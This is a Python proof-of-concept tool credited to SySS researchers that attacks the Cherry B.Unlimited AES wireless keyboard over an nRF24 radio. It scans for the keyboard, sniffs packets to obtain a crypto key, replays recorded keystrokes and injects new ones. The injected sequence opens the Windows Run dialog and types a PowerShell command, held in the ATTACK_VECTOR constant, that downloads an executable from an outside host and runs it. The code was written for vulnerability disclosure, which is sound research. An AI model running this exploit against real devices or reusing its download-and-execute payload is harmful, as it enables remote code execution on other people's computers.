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cherry_attack.py
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cherry_attack.py
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#!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Cherry Attack
by Matthias Deeg <[email protected]> and
Gerhard Klostermeier <[email protected]>
Proof-of-Concept software tool to demonstrate the replay
and keystroke injection vulnerabilities of the wireless keyboard
Cherry B.Unlimited AES
Copyright (C) 2016 SySS GmbH
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
"""
__version__ = '1.0'
__author__ = 'Matthias Deeg, Gerhard Klostermeier'
import logging
import pygame
from binascii import hexlify
from lib import keyboard
from lib import nrf24
from logging import debug, info
from pygame.locals import *
from time import sleep, time
from sys import exit
# constants
ATTACK_VECTOR = u"powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'"
RECORD_BUTTON = pygame.K_1 # record button
REPLAY_BUTTON = pygame.K_2 # replay button
ATTACK_BUTTON = pygame.K_3 # attack button
SCAN_BUTTON = pygame.K_4 # scan button
IDLE = 0 # idle state
RECORD = 1 # record state
REPLAY = 2 # replay state
SCAN = 3 # scan state
ATTACK = 4 # attack state
SCAN_TIME = 2 # scan time in seconds for scan mode heuristics
DWELL_TIME = 0.1 # dwell time for scan mode in seconds
PREFIX_ADDRESS = "" # prefix address for promicious mode
KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds
class CherryAttack():
"""Cherry Attack"""
def __init__(self):
"""Initialize Cherry Attack"""
self.state = IDLE # current state
self.channel = 6 # used ShockBurst channel (was 6 for all tested Cherry keyboards)
self.payloads = [] # list of sniffed payloads
self.kbd = None # keyboard for keystroke injection attacks
self.screen = None # screen
self.font = None # font
self.statusText = "" # current status text
try:
# initialize pygame variables
pygame.init()
self.icon = pygame.image.load("./images/syss_logo.png")
self.bg = pygame.image.load("./images/cherry_attack_bg.png")
pygame.display.set_caption("SySS Cherry Attack PoC")
pygame.display.set_icon(self.icon)
self.screen = pygame.display.set_mode((400, 300), 0, 24)
self.font = pygame.font.SysFont("arial", 24)
# self.screen.fill((255, 255, 255))
self.screen.blit(self.bg, (0, 0))
pygame.display.update()
# set key repetition parameters
pygame.key.set_repeat(250, 50)
# initialize radio
self.radio = nrf24.nrf24()
# enable LNA
self.radio.enable_lna()
# start scanning mode
self.setState(SCAN)
except:
# info output
info("[-] Error: Could not initialize Cherry Attack")
def showText(self, text, x = 40, y = 140):
output = self.font.render(text, True, (0, 0, 0))
self.screen.blit(output, (x, y))
def setState(self, newState):
"""Set state"""
if newState == RECORD:
# set RECORD state
self.state = RECORD
self.statusText = "RECORDING"
elif newState == REPLAY:
# set REPLAY state
self.state = REPLAY
self.statusText = "REPLAYING"
elif newState == SCAN:
# set SCAN state
self.state = SCAN
self.statusText = "SCANNING"
elif newState == ATTACK:
# set ATTACK state
self.state = ATTACK
self.statusText = "ATTACKING"
else:
# set IDLE state
self.state = IDLE
self.statusText = "IDLING"
def unique_everseen(self, seq):
"""Remove duplicates from a list while preserving the item order"""
seen = set()
return [x for x in seq if str(x) not in seen and not seen.add(str(x))]
def run(self):
# main loop
while True:
for i in pygame.event.get():
if i.type == QUIT:
exit()
elif i.type == KEYDOWN:
if i.key == K_ESCAPE:
exit()
# record button state transitions
if i.key == RECORD_BUTTON:
# if the current state is IDLE change it to RECORD
if self.state == IDLE:
# set RECORD state
self.setState(RECORD)
# empty payloads list
self.payloads = []
# if the current state is RECORD change it to IDLE
elif self.state == RECORD:
# set IDLE state
self.setState(IDLE)
# play button state transitions
if i.key == REPLAY_BUTTON:
# if the current state is IDLE change it to REPLAY
if self.state == IDLE:
# set REPLAY state
self.setState(REPLAY)
# scan button state transitions
if i.key == SCAN_BUTTON:
# if the current state is IDLE change it to SCAN
if self.state == IDLE:
# set SCAN state
self.setState(SCAN)
# attack button state transitions
if i.key == ATTACK_BUTTON:
# if the current state is IDLE change it to ATTACK
if self.state == IDLE:
# set ATTACK state
self.setState(ATTACK)
# show current status on screen
# self.screen.fill((255, 255, 255))
self.screen.blit(self.bg, (0, 0))
self.showText(self.statusText)
# update the display
pygame.display.update()
# state machine
if self.state == RECORD:
# receive payload
value = self.radio.receive_payload()
if value[0] == 0:
# split the payload from the status byte
payload = value[1:]
# add payload to list
self.payloads.append(payload)
# info output, show packet payload
info('Received payload: {0}'.format(hexlify(payload)))
elif self.state == REPLAY:
# remove duplicate payloads (retransmissions)
payloadList = self.unique_everseen(self.payloads)
# replay all payloads
for p in payloadList:
# transmit payload
self.radio.transmit_payload(p.tostring())
# info output
info('Sent payload: {0}'.format(hexlify(p)))
sleep(KEYSTROKE_DELAY)
# set IDLE state after playback
self.setState(IDLE)
elif self.state == SCAN:
# put the radio in promiscuous mode
self.radio.enter_promiscuous_mode(PREFIX_ADDRESS)
# define channels for scan mode
SCAN_CHANNELS = [6]
# set initial channel
self.radio.set_channel(SCAN_CHANNELS[0])
# sweep through the defined channels and decode ESB packets in pseudo-promiscuous mode
last_tune = time()
channel_index = 0
while True:
# increment the channel
if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME:
channel_index = (channel_index + 1) % (len(SCAN_CHANNELS))
self.radio.set_channel(SCAN_CHANNELS[channel_index])
last_tune = time()
# receive payloads
value = self.radio.receive_payload()
if len(value) >= 5:
# split the address and payload
address, payload = value[0:5], value[5:]
# convert address to string and reverse byte order
converted_address = address[::-1].tostring()
# check if the address most probably belongs to a Cherry keyboard
if ord(converted_address[0]) in range(0x31, 0x3f):
# first fit strategy to find a Cherry keyboard
self.address = converted_address
break
self.showText("Found keyboard")
address_string = ':'.join('{:02X}'.format(b) for b in address)
self.showText(address_string)
# info output
info("Found keyboard with address {0} on channel {1}".format(address_string, SCAN_CHANNELS[channel_index]))
# put the radio in sniffer mode (ESB w/o auto ACKs)
self.radio.enter_sniffer_mode(self.address)
info("Searching crypto key")
self.statusText = "SEARCHING"
self.screen.blit(self.bg, (0, 0))
self.showText(self.statusText)
# update the display
pygame.display.update()
last_key = 0
packet_count = 0
while True:
# receive payload
value = self.radio.receive_payload()
if value[0] == 0:
# do some time measurement
last_key = time()
# split the payload from the status byte
payload = value[1:]
# increment packet count
packet_count += 1
# show packet payload
info('Received payload: {0}'.format(hexlify(payload)))
# heuristic for having a valid release key data packet
if packet_count >= 4 and time() - last_key > SCAN_TIME:
break
self.radio.receive_payload()
self.showText(u"Got crypto key!")
# info output
info('Got crypto key!')
# initialize keyboard
self.kbd = keyboard.CherryKeyboard(payload.tostring())
info('Initialize keyboard')
# set IDLE state after scanning
self.setState(IDLE)
elif self.state == ATTACK:
if self.kbd != None:
# send keystrokes for a classic download and execute PoC attack
keystrokes = []
keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R))
keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
# send attack keystrokes
for k in keystrokes:
self.radio.transmit_payload(k)
# info output
info('Sent payload: {0}'.format(hexlify(k)))
sleep(KEYSTROKE_DELAY)
# need small delay after WIN + R
sleep(0.2)
keystrokes = []
keystrokes = self.kbd.getKeystrokes(ATTACK_VECTOR)
keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN)
# send attack keystrokes with a small delay
for k in keystrokes:
self.radio.transmit_payload(k)
# info output
info('Sent payload: {0}'.format(hexlify(k)))
sleep(KEYSTROKE_DELAY)
# set IDLE state after attack
self.setState(IDLE)
# main program
if __name__ == '__main__':
# setup logging
level = logging.INFO
logging.basicConfig(level=level, format='[%(asctime)s.%(msecs)03d] %(message)s', datefmt="%Y-%m-%d %H:%M:%S")
# init
poc = CherryAttack()
# run
info("Start Cherry Attack v{0}".format(__version__))
poc.run()
# done
info("Done.")